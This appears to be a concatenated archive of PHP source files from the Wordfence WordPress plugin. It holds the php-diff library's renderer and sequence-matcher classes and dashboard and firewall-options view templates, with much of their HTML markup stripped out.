USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package DiffLib * @author Chris Boulton * @copyright (c) 2009 Chris Boulton * @license New BSD License http://www.opensource.org/licenses/bsd-license.php * @version 1.1 * @link http://github.com/chrisboulton/php-diff */ require_once(dirname(__FILE__) . '/Array.php'); class Diff_Renderer_Html_SideBySide extends Diff_Renderer_Html_Array { /** * Render a and return diff with changes between the two sequences * displayed side by side. * * @return string The generated side by side diff. */ public function render() { $changes = parent::render(); $html = ''; if(empty($changes)) { return $html; } $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; foreach($changes as $i => $blocks) { if($i > 0) { $html .= ''; $html .= ''; $html .= ''; $html .= ''; } foreach($blocks as $change) { $html .= ''; // Equal changes should be shown on both sides of the diff if($change['tag'] == 'equal') { foreach($change['base']['lines'] as $no => $line) { $fromLine = $change['base']['offset'] + $no + 1; $toLine = $change['changed']['offset'] + $no + 1; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; } } // Added lines only on the right side else if($change['tag'] == 'insert') { foreach($change['changed']['lines'] as $no => $line) { $toLine = $change['changed']['offset'] + $no + 1; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; } } // Show deleted lines only on the left side else if($change['tag'] == 'delete') { foreach($change['base']['lines'] as $no => $line) { $fromLine = $change['base']['offset'] + $no + 1; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; } } // Show modified lines on both sides else if($change['tag'] == 'replace') { if(count($change['base']['lines']) >= count($change['changed']['lines'])) { foreach($change['base']['lines'] as $no => $line) { $fromLine = $change['base']['offset'] + $no + 1; $html .= ''; $html .= ''; $html .= ''; if(!isset($change['changed']['lines'][$no])) { $toLine = ' '; $changedLine = ' '; } else { $toLine = $change['base']['offset'] + $no + 1; $changedLine = ''.$change['changed']['lines'][$no].''; } $html .= ''; $html .= ''; $html .= ''; } } else { foreach($change['changed']['lines'] as $no => $changedLine) { if(!isset($change['base']['lines'][$no])) { $fromLine = ' '; $line = ' '; } else { $fromLine = $change['base']['offset'] + $no + 1; $line = ''.$change['base']['lines'][$no].''; } $html .= ''; $html .= ''; $html .= ''; $toLine = $change['changed']['offset'] + $no + 1; $html .= ''; $html .= ''; $html .= ''; } } } $html .= ''; } } $html .= '
The Original Version of the fileThe Modified Version on your WordPress system
  
'.$fromLine.''.$line.' '.$toLine.''.$line.' 
  '.$toLine.''.$line.' 
'.$fromLine.''.$line.'   
'.$fromLine.''.$line.' '.$toLine.''.$changedLine.'
'.$fromLine.''.$line.' '.$toLine.''.$changedLine.'
'; return $html; } } Diff/Renderer/Html/Array.php000064400000017023147206764270011677 0ustar00 * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * - Neither the name of the Chris Boulton nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package DiffLib * @author Chris Boulton * @copyright (c) 2009 Chris Boulton * @license New BSD License http://www.opensource.org/licenses/bsd-license.php * @version 1.1 * @link http://github.com/chrisboulton/php-diff */ require_once(dirname(__FILE__) . '/../Abstract.php'); class Diff_Renderer_Html_Array extends Diff_Renderer_Abstract { /** * @var array Array of the default options that apply to this renderer. */ protected $defaultOptions = array( 'tabSize' => 4 ); /** * Render and return an array structure suitable for generating HTML * based differences. Generally called by subclasses that generate a * HTML based diff and return an array of the changes to show in the diff. * * @return array An array of the generated chances, suitable for presentation in HTML. */ public function render() { // As we'll be modifying a & b to include our change markers, // we need to get the contents and store them here. That way // we're not going to destroy the original data $a = $this->diff->getA(); $b = $this->diff->getB(); $changes = array(); $opCodes = $this->diff->getGroupedOpcodes(); foreach($opCodes as $group) { $blocks = array(); $lastTag = null; $lastBlock = 0; foreach($group as $code) { list($tag, $i1, $i2, $j1, $j2) = $code; if($tag == 'replace' && $i2 - $i1 == $j2 - $j1) { for($i = 0; $i < ($i2 - $i1); ++$i) { $fromLine = $a[$i1 + $i]; $toLine = $b[$j1 + $i]; list($start, $end) = $this->getChangeExtent($fromLine, $toLine); if($start != 0 || $end != 0) { $last = $end + strlen($fromLine); $fromLine = substr_replace($fromLine, "\0", $start, 0); $fromLine = substr_replace($fromLine, "\1", $last + 1, 0); $last = $end + strlen($toLine); $toLine = substr_replace($toLine, "\0", $start, 0); $toLine = substr_replace($toLine, "\1", $last + 1, 0); $a[$i1 + $i] = $fromLine; $b[$j1 + $i] = $toLine; } } } if($tag != $lastTag) { $blocks[] = array( 'tag' => $tag, 'base' => array( 'offset' => $i1, 'lines' => array() ), 'changed' => array( 'offset' => $j1, 'lines' => array() ) ); $lastBlock = count($blocks)-1; } $lastTag = $tag; if($tag == 'equal') { $lines = array_slice($a, $i1, ($i2 - $i1)); $blocks[$lastBlock]['base']['lines'] += $this->formatLines($lines); $lines = array_slice($b, $j1, ($j2 - $j1)); $blocks[$lastBlock]['changed']['lines'] += $this->formatLines($lines); } else { if($tag == 'replace' || $tag == 'delete') { $lines = array_slice($a, $i1, ($i2 - $i1)); $lines = $this->formatLines($lines); $lines = str_replace(array("\0", "\1"), array('', ''), $lines); $blocks[$lastBlock]['base']['lines'] += $lines; } if($tag == 'replace' || $tag == 'insert') { $lines = array_slice($b, $j1, ($j2 - $j1)); $lines = $this->formatLines($lines); $lines = str_replace(array("\0", "\1"), array('', ''), $lines); $blocks[$lastBlock]['changed']['lines'] += $lines; } } } $changes[] = $blocks; } return $changes; } /** * Given two strings, determine where the changes in the two strings * begin, and where the changes in the two strings end. * * @param string $fromLine The first string. * @param string $toLine The second string. * @return array Array containing the starting position (0 by default) and the ending position (-1 by default) */ private function getChangeExtent($fromLine, $toLine) { $start = 0; $limit = min(strlen($fromLine), strlen($toLine)); while($start < $limit && $fromLine[$start] == $toLine[$start]) { ++$start; } $end = -1; $limit = $limit - $start; while(-$end <= $limit && substr($fromLine, $end, 1) == substr($toLine, $end, 1)) { --$end; } return array( $start, $end + 1 ); } /** * Format a series of lines suitable for output in a HTML rendered diff. * This involves replacing tab characters with spaces, making the HTML safe * for output, ensuring that double spaces are replaced with   etc. * * @param array $lines Array of lines to format. * @return array Array of the formatted lines. */ private function formatLines($lines) { $lines = array_map(array($this, 'ExpandTabs'), $lines); $lines = array_map(array($this, 'HtmlSafe'), $lines); foreach($lines as &$line) { $line = preg_replace_callback('# ( +)|^ #', array($this, 'fixSpacesCallback'), $line); } return $lines; } /** * Using a callback here instead of the /e modifier in preg_replace (now deprecated). * * @param $matches * @return string */ private function fixSpacesCallback($matches) { $spaces = (isset($matches[1]) ? $matches[1] : ''); return $this->fixSpaces($spaces); } /** * Replace a string containing spaces with a HTML representation using  . * * @param string $spaces The string of spaces. * @return string The HTML representation of the string. */ function fixSpaces($spaces='') { $count = strlen($spaces); if($count == 0) { return ''; } $div = floor($count / 2); $mod = $count % 2; return str_repeat('  ', $div).str_repeat(' ', $mod); } /** * Replace tabs in a single line with a number of spaces as defined by the tabSize option. * * @param string $line The containing tabs to convert. * @return string The line with the tabs converted to spaces. */ private function expandTabs($line) { return str_replace("\t", str_repeat(' ', $this->options['tabSize']), $line); } /** * Make a string containing HTML safe for output on a page. * * @param string $string The string. * @return string The string with the HTML characters replaced by entities. */ private function htmlSafe($string) { return @htmlspecialchars($string, ENT_NOQUOTES, 'UTF-8'); } } Diff/Renderer/Abstract.php000064400000005752147206764270011466 0ustar00 * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * - Neither the name of the Chris Boulton nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package DiffLib * @author Chris Boulton * @copyright (c) 2009 Chris Boulton * @license New BSD License http://www.opensource.org/licenses/bsd-license.php * @version 1.1 * @link http://github.com/chrisboulton/php-diff */ abstract class Diff_Renderer_Abstract { /** * @var object Instance of the diff class that this renderer is generating the rendered diff for. */ public $diff; /** * @var array Array of the default options that apply to this renderer. */ protected $defaultOptions = array(); /** * @var array Array containing the user applied and merged default options for the renderer. */ protected $options = array(); /** * The constructor. Instantiates the rendering engine and if options are passed, * sets the options for the renderer. * * @param array $options Optionally, an array of the options for the renderer. */ public function __construct(array $options = array()) { $this->setOptions($options); } /** * Set the options of the renderer to those supplied in the passed in array. * Options are merged with the default to ensure that there aren't any missing * options. * * @param array $options Array of options to set. */ public function setOptions(array $options) { $this->options = array_merge($this->defaultOptions, $options); } }Diff/SequenceMatcher.php000064400000042720147206764270011225 0ustar00 * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * - Neither the name of the Chris Boulton nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package Diff * @author Chris Boulton * @copyright (c) 2009 Chris Boulton * @license New BSD License http://www.opensource.org/licenses/bsd-license.php * @version 1.1 * @link http://github.com/chrisboulton/php-diff */ class Diff_SequenceMatcher { /** * @var string|array Either a string or an array containing a callback function to determine if a line is "junk" or not. */ private $junkCallback = null; /** * @var array The first sequence to compare against. */ private $a = null; /** * @var array The second sequence. */ private $b = null; /** * @var array Array of characters that are considered junk from the second sequence. Characters are the array key. */ private $junkDict = array(); /** * @var array Array of indices that do not contain junk elements. */ private $b2j = array(); private $options = array(); private $defaultOptions = array( 'ignoreNewLines' => false, 'ignoreWhitespace' => false, 'ignoreCase' => false ); private $matchingBlocks = null; private $opCodes = null; private $fullBCount = null; /** * The constructor. With the sequences being passed, they'll be set for the * sequence matcher and it will perform a basic cleanup & calculate junk * elements. * * @param string|array $a A string or array containing the lines to compare against. * @param string|array $b A string or array containing the lines to compare. * @param string|array $junkCallback Either an array or string that references a callback function (if there is one) to determine 'junk' characters. */ public function __construct($a, $b, $junkCallback=null, $options=array()) { $this->a = null; $this->b = null; $this->junkCallback = $junkCallback; $this->setOptions($options); $this->setSequences($a, $b); } public function setOptions($options) { $this->options = array_merge($this->defaultOptions, $options); } /** * Set the first and second sequences to use with the sequence matcher. * * @param string|array $a A string or array containing the lines to compare against. * @param string|array $b A string or array containing the lines to compare. */ public function setSequences($a, $b) { $this->setSeq1($a); $this->setSeq2($b); } /** * Set the first sequence ($a) and reset any internal caches to indicate that * when calling the calculation methods, we need to recalculate them. * * @param string|array $a The sequence to set as the first sequence. */ public function setSeq1($a) { if(!is_array($a)) { $a = str_split($a); } if($a == $this->a) { return; } $this->a= $a; $this->matchingBlocks = null; $this->opCodes = null; } /** * Set the second sequence ($b) and reset any internal caches to indicate that * when calling the calculation methods, we need to recalculate them. * * @param string|array $b The sequence to set as the second sequence. */ public function setSeq2($b) { if(!is_array($b)) { $b = str_split($b); } if($b == $this->b) { return; } $this->b = $b; $this->matchingBlocks = null; $this->opCodes = null; $this->fullBCount = null; $this->chainB(); } /** * Generate the internal arrays containing the list of junk and non-junk * characters for the second ($b) sequence. */ private function chainB() { $length = count ($this->b); $this->b2j = array(); $popularDict = array(); for($i = 0; $i < $length; ++$i) { $char = $this->b[$i]; if(isset($this->b2j[$char])) { if($length >= 200 && count($this->b2j[$char]) * 100 > $length) { $popularDict[$char] = 1; unset($this->b2j[$char]); } else { $this->b2j[$char][] = $i; } } else { $this->b2j[$char] = array( $i ); } } // Remove leftovers foreach(array_keys($popularDict) as $char) { unset($this->b2j[$char]); } $this->junkDict = array(); if(is_callable($this->junkCallback)) { foreach(array_keys($popularDict) as $char) { if(call_user_func($this->junkCallback, $char)) { $this->junkDict[$char] = 1; unset($popularDict[$char]); } } foreach(array_keys($this->b2j) as $char) { if(call_user_func($this->junkCallback, $char)) { $this->junkDict[$char] = 1; unset($this->b2j[$char]); } } } } /** * Checks if a particular character is in the junk dictionary * for the list of junk characters. * * @return boolean $b True if the character is considered junk. False if not. */ private function isBJunk($b) { if(isset($this->juncDict[$b])) { return true; } return false; } /** * Find the longest matching block in the two sequences, as defined by the * lower and upper constraints for each sequence. (for the first sequence, * $alo - $ahi and for the second sequence, $blo - $bhi) * * Essentially, of all of the maximal matching blocks, return the one that * startest earliest in $a, and all of those maximal matching blocks that * start earliest in $a, return the one that starts earliest in $b. * * If the junk callback is defined, do the above but with the restriction * that the junk element appears in the block. Extend it as far as possible * by matching only junk elements in both $a and $b. * * @param int $alo The lower constraint for the first sequence. * @param int $ahi The upper constraint for the first sequence. * @param int $blo The lower constraint for the second sequence. * @param int $bhi The upper constraint for the second sequence. * @return array Array containing the longest match that includes the starting position in $a, start in $b and the length/size. */ public function findLongestMatch($alo, $ahi, $blo, $bhi) { $a = $this->a; $b = $this->b; $bestI = $alo; $bestJ = $blo; $bestSize = 0; $j2Len = array(); $nothing = array(); for($i = $alo; $i < $ahi; ++$i) { $newJ2Len = array(); $jDict = $this->arrayGetDefault($this->b2j, $a[$i], $nothing); foreach($jDict as $jKey => $j) { if($j < $blo) { continue; } else if($j >= $bhi) { break; } $k = $this->arrayGetDefault($j2Len, $j -1, 0) + 1; $newJ2Len[$j] = $k; if($k > $bestSize) { $bestI = $i - $k + 1; $bestJ = $j - $k + 1; $bestSize = $k; } } $j2Len = $newJ2Len; } while($bestI > $alo && $bestJ > $blo && !$this->isBJunk($b[$bestJ - 1]) && !$this->linesAreDifferent($bestI - 1, $bestJ - 1)) { --$bestI; --$bestJ; ++$bestSize; } while($bestI + $bestSize < $ahi && ($bestJ + $bestSize) < $bhi && !$this->isBJunk($b[$bestJ + $bestSize]) && !$this->linesAreDifferent($bestI + $bestSize, $bestJ + $bestSize)) { ++$bestSize; } while($bestI > $alo && $bestJ > $blo && $this->isBJunk($b[$bestJ - 1]) && !$this->isLineDifferent($bestI - 1, $bestJ - 1)) { --$bestI; --$bestJ; ++$bestSize; } while($bestI + $bestSize < $ahi && $bestJ + $bestSize < $bhi && $this->isBJunk($b[$bestJ + $bestSize]) && !$this->linesAreDifferent($bestI + $bestSize, $bestJ + $bestSize)) { ++$bestSize; } return array( $bestI, $bestJ, $bestSize ); } /** * Check if the two lines at the given indexes are different or not. * * @param int $aIndex Line number to check against in a. * @param int $bIndex Line number to check against in b. * @return boolean True if the lines are different and false if not. */ public function linesAreDifferent($aIndex, $bIndex) { $lineA = $this->a[$aIndex]; $lineB = $this->b[$bIndex]; if($this->options['ignoreWhitespace']) { $replace = array("\t", ' '); $lineA = str_replace($replace, '', $lineA); $lineB = str_replace($replace, '', $lineB); } if($this->options['ignoreCase']) { $lineA = strtolower($lineA); $lineB = strtolower($lineB); } if($lineA != $lineB) { return true; } return false; } /** * Return a nested set of arrays for all of the matching sub-sequences * in the strings $a and $b. * * Each block contains the lower constraint of the block in $a, the lower * constraint of the block in $b and finally the number of lines that the * block continues for. * * @return array Nested array of the matching blocks, as described by the function. */ public function getMatchingBlocks() { if(!empty($this->matchingBlocks)) { return $this->matchingBlocks; } $aLength = count($this->a); $bLength = count($this->b); $queue = array( array( 0, $aLength, 0, $bLength ) ); $matchingBlocks = array(); while(!empty($queue)) { list($alo, $ahi, $blo, $bhi) = array_pop($queue); $x = $this->findLongestMatch($alo, $ahi, $blo, $bhi); list($i, $j, $k) = $x; if($k) { $matchingBlocks[] = $x; if($alo < $i && $blo < $j) { $queue[] = array( $alo, $i, $blo, $j ); } if($i + $k < $ahi && $j + $k < $bhi) { $queue[] = array( $i + $k, $ahi, $j + $k, $bhi ); } } } usort($matchingBlocks, array($this, 'tupleSort')); $i1 = 0; $j1 = 0; $k1 = 0; $nonAdjacent = array(); foreach($matchingBlocks as $block) { list($i2, $j2, $k2) = $block; if($i1 + $k1 == $i2 && $j1 + $k1 == $j2) { $k1 += $k2; } else { if($k1) { $nonAdjacent[] = array( $i1, $j1, $k1 ); } $i1 = $i2; $j1 = $j2; $k1 = $k2; } } if($k1) { $nonAdjacent[] = array( $i1, $j1, $k1 ); } $nonAdjacent[] = array( $aLength, $bLength, 0 ); $this->matchingBlocks = $nonAdjacent; return $this->matchingBlocks; } /** * Return a list of all of the opcodes for the differences between the * two strings. * * The nested array returned contains an array describing the opcode * which includes: * 0 - The type of tag (as described below) for the opcode. * 1 - The beginning line in the first sequence. * 2 - The end line in the first sequence. * 3 - The beginning line in the second sequence. * 4 - The end line in the second sequence. * * The different types of tags include: * replace - The string from $i1 to $i2 in $a should be replaced by * the string in $b from $j1 to $j2. * delete - The string in $a from $i1 to $j2 should be deleted. * insert - The string in $b from $j1 to $j2 should be inserted at * $i1 in $a. * equal - The two strings with the specified ranges are equal. * * @return array Array of the opcodes describing the differences between the strings. */ public function getOpCodes() { if(!empty($this->opCodes)) { return $this->opCodes; } $i = 0; $j = 0; $this->opCodes = array(); $blocks = $this->getMatchingBlocks(); foreach($blocks as $block) { list($ai, $bj, $size) = $block; $tag = ''; if($i < $ai && $j < $bj) { $tag = 'replace'; } else if($i < $ai) { $tag = 'delete'; } else if($j < $bj) { $tag = 'insert'; } if($tag) { $this->opCodes[] = array( $tag, $i, $ai, $j, $bj ); } $i = $ai + $size; $j = $bj + $size; if($size) { $this->opCodes[] = array( 'equal', $ai, $i, $bj, $j ); } } return $this->opCodes; } /** * Return a series of nested arrays containing different groups of generated * opcodes for the differences between the strings with up to $context lines * of surrounding content. * * Essentially what happens here is any big equal blocks of strings are stripped * out, the smaller subsets of changes are then arranged in to their groups. * This means that the sequence matcher and diffs do not need to include the full * content of the different files but can still provide context as to where the * changes are. * * @param int $context The number of lines of context to provide around the groups. * @return array Nested array of all of the grouped opcodes. */ public function getGroupedOpcodes($context=3) { $opCodes = $this->getOpCodes(); if(empty($opCodes)) { $opCodes = array( array( 'equal', 0, 1, 0, 1 ) ); } if($opCodes[0][0] == 'equal') { $opCodes[0] = array( $opCodes[0][0], max($opCodes[0][1], $opCodes[0][2] - $context), $opCodes[0][2], max($opCodes[0][3], $opCodes[0][4] - $context), $opCodes[0][4] ); } $lastItem = count($opCodes) - 1; if($opCodes[$lastItem][0] == 'equal') { list($tag, $i1, $i2, $j1, $j2) = $opCodes[$lastItem]; $opCodes[$lastItem] = array( $tag, $i1, min($i2, $i1 + $context), $j1, min($j2, $j1 + $context) ); } $maxRange = $context * 2; $groups = array(); $group = array(); foreach($opCodes as $code) { list($tag, $i1, $i2, $j1, $j2) = $code; if($tag == 'equal' && $i2 - $i1 > $maxRange) { $group[] = array( $tag, $i1, min($i2, $i1 + $context), $j1, min($j2, $j1 + $context) ); $groups[] = $group; $group = array(); $i1 = max($i1, $i2 - $context); $j1 = max($j1, $j2 - $context); } $group[] = array( $tag, $i1, $i2, $j1, $j2 ); } if(!empty($group) && !(count($group) == 1 && $group[0][0] == 'equal')) { $groups[] = $group; } return $groups; } /** * Return a measure of the similarity between the two sequences. * This will be a float value between 0 and 1. * * Out of all of the ratio calculation functions, this is the most * expensive to call if getMatchingBlocks or getOpCodes is yet to be * called. The other calculation methods (quickRatio and realquickRatio) * can be used to perform quicker calculations but may be less accurate. * * The ratio is calculated as (2 * number of matches) / total number of * elements in both sequences. * * @return float The calculated ratio. */ public function Ratio() { $matches = array_reduce($this->getMatchingBlocks(), array($this, 'ratioReduce'), 0); return $this->calculateRatio($matches, count ($this->a) + count ($this->b)); } /** * Helper function to calculate the number of matches for Ratio(). * * @param int $sum The running total for the number of matches. * @param array $triple Array containing the matching block triple to add to the running total. * @return int The new running total for the number of matches. */ private function ratioReduce($sum, $triple) { return $sum + ($triple[count($triple) - 1]); } /** * Helper function for calculating the ratio to measure similarity for the strings. * The ratio is defined as being 2 * (number of matches / total length) * * @param int $matches The number of matches in the two strings. * @param int $length The length of the two strings. * @return float The calculated ratio. */ private function calculateRatio($matches, $length=0) { if($length) { return 2 * ($matches / $length); } else { return 1; } } /** * Helper function that provides the ability to return the value for a key * in an array of it exists, or if it doesn't then return a default value. * Essentially cleaner than doing a series of if(isset()) {} else {} calls. * * @param array $array The array to search. * @param string $key The key to check that exists. * @param mixed $default The value to return as the default value if the key doesn't exist. * @return mixed The value from the array if the key exists or otherwise the default. */ private function arrayGetDefault($array, $key, $default) { if(isset($array[$key])) { return $array[$key]; } else { return $default; } } /** * Sort an array by the nested arrays it contains. Helper function for getMatchingBlocks * * @param array $a First array to compare. * @param array $b Second array to compare. * @return int -1, 0 or 1, as expected by the usort function. */ private function tupleSort($a, $b) { $max = max(count($a), count($b)); for($i = 0; $i < $max; ++$i) { if($a[$i] < $b[$i]) { return -1; } else if($a[$i] > $b[$i]) { return 1; } } if(count($a) == count($b)) { return 0; } else if(count($a) < count($b)) { return -1; } else { return 1; } } } menu_dashboard.php000064400000067777147206764270010277 0ustar00 render(); echo wfView::create('gdpr/banner')->render(); } ?>
__('Wordfence Dashboard', 'wordfence'), 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_DASHBOARD), 'helpLabelHTML' => wp_kses(__('Learn more about the Dashboard', 'wordfence'), array('span'=>array('class'=>array()))), 'showIcon' => true, ))->render(); ?>
  • $firewall, 'scanner' => $scanner, 'dashboard' => $d, ))->render(); ?>
    • 'waf-coverage', 'percentage' => $firewall->overallStatus(), 'activeColor' => ($firewall->firewallMode() == wfFirewall::FIREWALL_MODE_LEARNING ? '#ececec' : null /* automatic */), 'title' => __('Firewall', 'wordfence'), 'subtitle' => ($firewall->firewallMode() == wfFirewall::FIREWALL_MODE_LEARNING ? __('WAF Currently in Learning Mode', 'wordfence') : __('Protection from known and emerging threats', 'wordfence')), 'link' => wfPage::pageURL(wfPage::PAGE_FIREWALL_OPTIONS, wfPage::PAGE_DASHBOARD), 'linkLabel' => __('Manage Firewall', 'wordfence'), 'statusTitle' => __('Firewall Status', 'wordfence'), 'statusList' => $firewall->statusList(), 'statusExtra' => ($firewall->firewallMode() == wfFirewall::FIREWALL_MODE_LEARNING ? wfView::create('waf/status-tooltip-learning-mode')->render() : ''), 'helpLink' => __('https://www.wordfence.com/help/dashboard/#dashboard-status', 'wordfence'), ))->render(); ?>
    • 'wf-scanner-type', 'percentage' => $scanner->scanTypeStatus(), 'activeColor' => (!$scanner->isEnabled() ? '#ececec' : null /* automatic */), 'title' => __('Scan', 'wordfence'), 'subtitle' => __('Detection of security issues', 'wordfence'), 'link' => wfPage::pageURL(wfPage::PAGE_SCAN_OPTIONS, wfPage::PAGE_DASHBOARD), 'linkLabel' => __('Manage Scan', 'wordfence'), 'statusTitle' => __('Scan Status', 'wordfence'), 'statusList' => $scanner->scanTypeStatusList(), 'helpLink' => __('https://www.wordfence.com/help/dashboard/#dashboard-status', 'wordfence'), ))->render(); ?>
    • 'wf-premium-alert', 'title' => __('Premium License Conflict', 'wordfence'), 'subtitle' => __('License already in use', 'wordfence'), 'link' => 'https://www.wordfence.com/gnl1manageConflict/manage-wordfence-api-keys/', 'linkLabel' => __('Reset License', 'wordfence'), 'linkNewWindow' => true, ))->render(); ?> 'wf-premium-alert', 'title' => __('Premium Protection Disabled', 'wordfence'), 'subtitle' => __('License is expired', 'wordfence'), 'link' => 'https://www.wordfence.com/gnl1renewExpired/manage-wordfence-api-keys/', 'linkLabel' => __('Renew License', 'wordfence'), 'linkNewWindow' => true, ))->render(); ?> 'wf-premium-alert', 'title' => __('Premium Protection Disabled', 'wordfence'), 'subtitleHtml' => wp_kses(__('The license you were using has been removed from your account. Please reach out to billing@wordfence.com or create a Premium support case at https://support.wordfence.com/support/tickets (opens in new tab) for more information. Our staff is happy to help.', 'wordfence'), array('a'=>array('href'=>array(), 'target'=>array()), 'span'=>array('class'=>array()))), 'link' => null, 'linkLabel' => null ))->render(); ?>

         ()

      'wf-premium-alert', 'title' => __('Premium License Expiring', 'wordfence'), 'subtitle' => __('Auto-renew is disabled', 'wordfence'), 'link' => 'https://www.wordfence.com/gnl1renewExpiring/manage-wordfence-api-keys/', 'linkLabel' => __('Renew License', 'wordfence'), 'linkNewWindow' => true, ))->render(); ?> 'wf-premium-alert', 'title' => $title, 'subtitle' => $subtitle, 'link' => 'https://www.wordfence.com/gnl1renewExpiring/manage-wordfence-api-keys/', 'linkLabel' => __('Update Payment Method', 'wordfence'), 'linkNewWindow' => true, ))->render(); } else { $days = floor(((int) wfConfig::get('premiumNextRenew') - time()) / 86400); if ($days == 0) { $subtitle = __('License renews today', 'wordfence'); } else if ($days == 1) { $subtitle = __('License renews in 1 day', 'wordfence'); } else { $subtitle = sprintf(__('License renews in %d days', 'wordfence'), $days); } echo wfView::create('dashboard/status-renewing', array( 'id' => 'wf-premium-alert', 'title' => __('Premium License Expiring', 'wordfence'), 'subtitle' => $subtitle, 'link' => 'https://www.wordfence.com/gnl1reviewExpiring/manage-wordfence-api-keys/', 'linkLabel' => __('Review Payment Method', 'wordfence'), 'linkNewWindow' => true, ))->render(); } ?> isPaidAndCurrent()): ?>
      getTypeLabel(true))); ?>
      isBelowResponse()): ?>

      isBelowCare()): ?>

    • 'wf-dashboard-option-tools', 'img' => 'tools.svg', 'title' => __('Tools', 'wordfence'), 'subtitle' => __('Live Traffic, Whois Lookup, Import/Export, and Diagnostics', 'wordfence'), 'link' => network_admin_url('admin.php?page=WordfenceTools'), ))->render(); ?>
    • 'wf-dashboard-option-support', 'img' => 'support.svg', 'title' => __('Help', 'wordfence'), 'subtitle' => __('Find the documentation and help you need', 'wordfence'), 'link' => network_admin_url('admin.php?page=WordfenceSupport'), ))->render(); ?>
    • 'wf-dashboard-option-options', 'img' => 'options.svg', 'title' => __('Global Options', 'wordfence'), 'subtitle' => __('Manage global options for Wordfence such as alerts, premium status, and more', 'wordfence'), 'link' => network_admin_url('admin.php?page=Wordfence&subpage=global_options'), ))->render(); ?>
menu_firewall_blocking_options.php000064400000011201147206764270013543 0ustar00
$backPage->url(), 'backLabelHTML' => wp_kses(sprintf( /* translators: Page title/label. */ __('Back to %s', 'wordfence'), $backPage->label()), array('span'=>array('class'=>array()))), 'restoreDefaultsSection' => wfConfig::OPTIONS_TYPE_BLOCKING, 'restoreDefaultsMessage' => __('Are you sure you want to restore the default Blocking settings? This will undo any custom changes you have made to the options on this page. Any existing blocks will be preserved.', 'wordfence'), ))->render(); ?>
render(); echo wfView::create('gdpr/banner')->render(); } ?>
